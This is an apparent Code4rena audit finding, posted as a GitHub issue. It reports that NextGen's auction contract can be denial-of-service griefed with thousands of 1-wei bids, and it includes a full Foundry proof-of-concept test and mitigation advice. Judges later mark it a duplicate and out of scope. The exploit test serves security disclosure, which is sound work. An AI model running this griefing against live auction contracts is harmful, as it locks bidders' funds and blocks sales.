code-423n4 / 2023-10-nextgen-findings

5 stars 3 forks source link

Auctions can be DoS'd and can never be claimed #1132

Closed c4-submissions closed 10 months ago

c4-submissions commented 10 months ago

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L276 https://github.com/code-423n4/2023-10-nextgen/blob/main/hardhat/smart-contracts/AuctionDemo.sol#L57

Vulnerability details

Bug Description

mintAndAuction() in MinterContract.sol airdrops a token and starts an auction. Bidders participate via participateToAuction() in AuctionDemo.sol. Neither function sets a minimum starting price for the auction or a minimum percentage price increase for each high bid. Bids can increase by 1 wei, all that is required is that the auction is started and the current bid is higher than the last bid.

MinterContract.sol lines 276-298

    function mintAndAuction(address _recipient, string memory _tokenData, uint256 _saltfun_o, uint256 _collectionID, uint _auctionEndTime) public FunctionAdminRequired(this.mintAndAuction.selector) {
        require(gencore.retrievewereDataAdded(_collectionID) == true, "Add data");
        uint256 collectionTokenMintIndex;
        collectionTokenMintIndex = gencore.viewTokensIndexMin(_collectionID) + gencore.viewCirSupply(_collectionID);
        require(collectionTokenMintIndex <= gencore.viewTokensIndexMax(_collectionID), "No supply");
        uint256 mintIndex = gencore.viewTokensIndexMin(_collectionID) + gencore.viewCirSupply(_collectionID);
        gencore.airDropTokens(mintIndex, _recipient, _tokenData, _saltfun_o, _collectionID);
        uint timeOfLastMint;
        // check 1 per period
        if (lastMintDate[_collectionID] == 0) {
        // for public sale set the allowlist the same time as publicsale
            timeOfLastMint = collectionPhases[_collectionID].allowlistStartTime - collectionPhases[_collectionID].timePeriod;
        } else {
            timeOfLastMint =  lastMintDate[_collectionID];
        }
        // uint calculates if period has passed in order to allow minting
        uint tDiff = (block.timestamp - timeOfLastMint) / collectionPhases[_collectionID].timePeriod;
        // users are able to mint after a day passes
        require(tDiff>=1, "1 mint/period");
        lastMintDate[_collectionID] = collectionPhases[_collectionID].allowlistStartTime + (collectionPhases[_collectionID].timePeriod * (gencore.viewCirSupply(_collectionID) - 1));
        mintToAuctionData[mintIndex] = _auctionEndTime;
        mintToAuctionStatus[mintIndex] = true;
    }

AuctionDemo.sol lines 57-61

    function participateToAuction(uint256 _tokenid) public payable {
        require(msg.value > returnHighestBid(_tokenid) && block.timestamp <= minter.getAuctionEndTime(_tokenid) && minter.getAuctionStatus(_tokenid) == true);
        auctionInfoStru memory newBid = auctionInfoStru(msg.sender, msg.value, true);
        auctionInfoData[_tokenid].push(newBid);
    }

An attacker can enter the bidding just after mintAndAuction() and make thousands of bids with very small increments (1 wei). It costs them 1 wei + gas but it results in thousands of small bids being added to auctionInfoData in AuctionDemo.sol.

These low bids will eventually be cost prohibitive for the attacker as soon as a legitimate bidder adds a realistic bid however they are still stored in the bid array waiting to break claimAuction.

The issue comes when the highest bidder calls claimAuction(). It iterates through all the bids to find the highest bidder and highest bid price. With a large number of low attacker bids this will consume all available gas and revert. Breaking the ability to claim the token, transfer funds to the auctioned token owner and refund valid bids.

Impact

An attacker can grief the platform for minimal cost, backrunning each auction and adding enough low bids to ensure it can't be claimed. The protocol admins would need to manually transfer tokens and ETH to the auction winner, the token owner and all legitimate bidders in the auction by hand.

The NextGen platform would suffer reputational damage as each auction is griefed and they have no ability to response to the attack vector without upgrading contracts or minting tokens for auction on another platform by hand.

Gas price becomes the only economic disincentive for the attacker however it is likely that popular mints will still be griefed, even if gas per transaction was moderately high.

Proof of Concept

In test_BidGriefing the attacker backruns the mint and adds 2000 bids that are 1 wei above their previous bid. This costs them 2,001,000 wei but allows them to push the gas cost of claimAuction() above 30 million wei.

The test can be run in multiple ways;

Firstly to show it reverts at 30 million wei; forge test --match-test test_BidGriefing -vv --fork-url=$GOERLI --via-ir --gas-limit 30000000

Or to see the gas amount for claimAuction() if the attacker uses 2000 iterations. forge test --match-test test_BidGriefing -vv --fork-url=$GOERLI --via-ir --gas-report

With 2,000 iterations claimAuction() consumes 30337233 gas.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console2} from "forge-std/Test.sol";
import "./smart-contracts/NextgenCore.sol";
import "./smart-contracts/NextgenAdmins.sol";
import "./smart-contracts/RandomizerRNG.sol";
import "./smart-contracts/RandomizerNXT.sol";
import "./smart-contracts/XRandoms.sol";
import "./smart-contracts/MinterContract.sol";
import "./smart-contracts/AuctionDemo.sol";
import "./smart-contracts/IERC721Receiver.sol";
import "./smart-contracts/NFTdelegation.sol";
import "murky/src/Merkle.sol";
import "./smart-contracts/MerkleProof.sol";

contract AuctionTest is Test {
    NextGenAdmins admins;
    NextGenCore core;
    NextGenRandomizerRNG _randomizerContract;
    NextGenRandomizerNXT nxt;
    randomPool xrandoms; 
    NextGenMinterContract minter;
    DelegationManagementContract registry; 
    auctionDemo auction;

    uint256 reenterCount = 0;
    bytes32[] the_proof;

    function setUp() public {
        admins = new NextGenAdmins();
        core = new NextGenCore("Nextgen", "NEXT", address(admins));
        // Check we are the owner.
        assertEq(admins.owner(), address(this));
        assertEq(core.newCollectionIndex(), 1);

        string memory _collectionName = "Generic collection name";
        string memory _collectionArtist = "Generic artist name";
        string memory _collectionDescription = "Generic artist description";
        string memory _collectionWebsite = "Generic website address";
        string memory _collectionLicense = "";
        string memory _collectionBaseURI = "ipfs://ipfs";
        string memory _collectionLibrary = "";
        string[] memory _collectionScript = new string[](1);
        _collectionScript[0] = "";

        core.createCollection(
            _collectionName,
            _collectionArtist,
            _collectionDescription,
            _collectionWebsite,
            _collectionLicense,
            _collectionBaseURI,
            _collectionLibrary,
            _collectionScript
        );

        core.createCollection(
            _collectionName,
            _collectionArtist,
            _collectionDescription,
            _collectionWebsite,
            _collectionLicense,
            _collectionBaseURI,
            _collectionLibrary,
            _collectionScript
        );
        assertEq(core.newCollectionIndex(), 3);

        uint256 _collectionID = 1;
        address _collectionArtistAddress = address(uint160(uint256(keccak256("ayc"))));
        uint256 _collectionTotalSupply = 10_000;
        uint256 _maxCollectionPurchases = 1_000;
        uint256 _setFinalSupplyTimeAfterMint = 100;

        core.setCollectionData(
            _collectionID,
            _collectionArtistAddress,
            _maxCollectionPurchases,
            _collectionTotalSupply,
            _setFinalSupplyTimeAfterMint
        );

        // Minter pre-requisites.
        registry = new DelegationManagementContract();
        minter = new NextGenMinterContract(address(core), address(registry), address(admins));
        core.addMinterContract(address(minter));

        // Add randomizer details
        // ARNController should be 0x000000000000f968845afB0B8Cf134Ec196D38D4 on Goerli
        address ARNController = 0x000000000000f968845afB0B8Cf134Ec196D38D4;
        _randomizerContract = new NextGenRandomizerRNG(address(core), address(admins), ARNController);
        _randomizerContract.updateRNGCost(2000000000000000);
        xrandoms = new randomPool();
        nxt = new NextGenRandomizerNXT(address(xrandoms), address(admins), address(core));
        vm.deal(address(_randomizerContract), 1 ether);

        //core.addRandomizer(1, address(_randomizerContract));
        core.addRandomizer(1, address(nxt));

        auction = new auctionDemo(address(minter), address(core), address(admins));

        // Collection costs
        //uint256 _collectionID = 1;
        uint256 _collectionMintCost =  6.029 * 10**16;
        uint256 _collectionEndMintCost = 6.029 * 10**16; 
        uint256 _rate = 0;
        uint256 _timePeriod = 600; 
        uint8 _salesOption = 3; 
        address _delAddress = address(core);
        minter.setCollectionCosts(_collectionID, _collectionMintCost, _collectionEndMintCost, _rate, _timePeriod, _salesOption, _delAddress);

        //uint256 _collectionID = 1; 
        uint timeStamp = block.timestamp;
        uint _allowlistStartTime = timeStamp + 1000; 
        uint _allowlistEndTime = timeStamp + 2000; 
        uint _publicStartTime = timeStamp + 3000; 
        uint _publicEndTime = timeStamp + 4000;
        bytes32 _merkleRoot;
        minter.setCollectionPhases(_collectionID, _allowlistStartTime, _allowlistEndTime, _publicStartTime, _publicEndTime, _merkleRoot);
    }

    function test_BidGriefing() public {
        address _recipient = address(this);
        string memory _tokenData = "";
        uint256 _saltfun_o = 0;
        uint256 _collectionID = 1;
        uint256 _auctionEndTime = block.timestamp + 2000;

        uint256 tokenId = 10000000000;

        vm.warp(block.timestamp + 1200);
        minter.mintAndAuction(_recipient, _tokenData, _saltfun_o, _collectionID, _auctionEndTime);
        assertEq(core.ownerOf(tokenId), address(this));

        vm.deal(address(100), 100 ether);
        vm.deal(address(101), 100 ether);
        vm.deal(address(103), 100 ether);

        core.approve(address(auction), tokenId);

        uint256 griefAttempts = 2_000;

        for (uint i=1; i < griefAttempts; i++) {
           vm.prank(address(100));
           auction.participateToAuction{value: i}(tokenId); 
        }

        vm.prank(address(101));
        auction.participateToAuction{value: 13 ether}(tokenId);

        // Win the auction
        vm.prank(address(103));
        auction.participateToAuction{value: 15 ether}(tokenId);

        uint256 endTime = minter.getAuctionEndTime(tokenId); 
        vm.warp(endTime + 1); //After auction.

        vm.prank(address(103));
        auction.claimAuction(tokenId);
        assertEq(core.ownerOf(tokenId), address(103));
    }
}

Tools Used

Vim

Recommended Mitigation Steps

NextGen should allow a reserve to be set and that each bid is not only higher but a percentage increase on the bid before. This is a technique that both Superrare and Foundation use for auctions.

Assessed type

DoS

c4-pre-sort commented 10 months ago

141345 marked the issue as duplicate of #1952

c4-judge commented 9 months ago

alex-ppg marked the issue as duplicate of #2038

c4-judge commented 9 months ago

alex-ppg marked the issue as unsatisfactory: Out of scope

c4-judge commented 9 months ago

alex-ppg marked the issue as unsatisfactory: Out of scope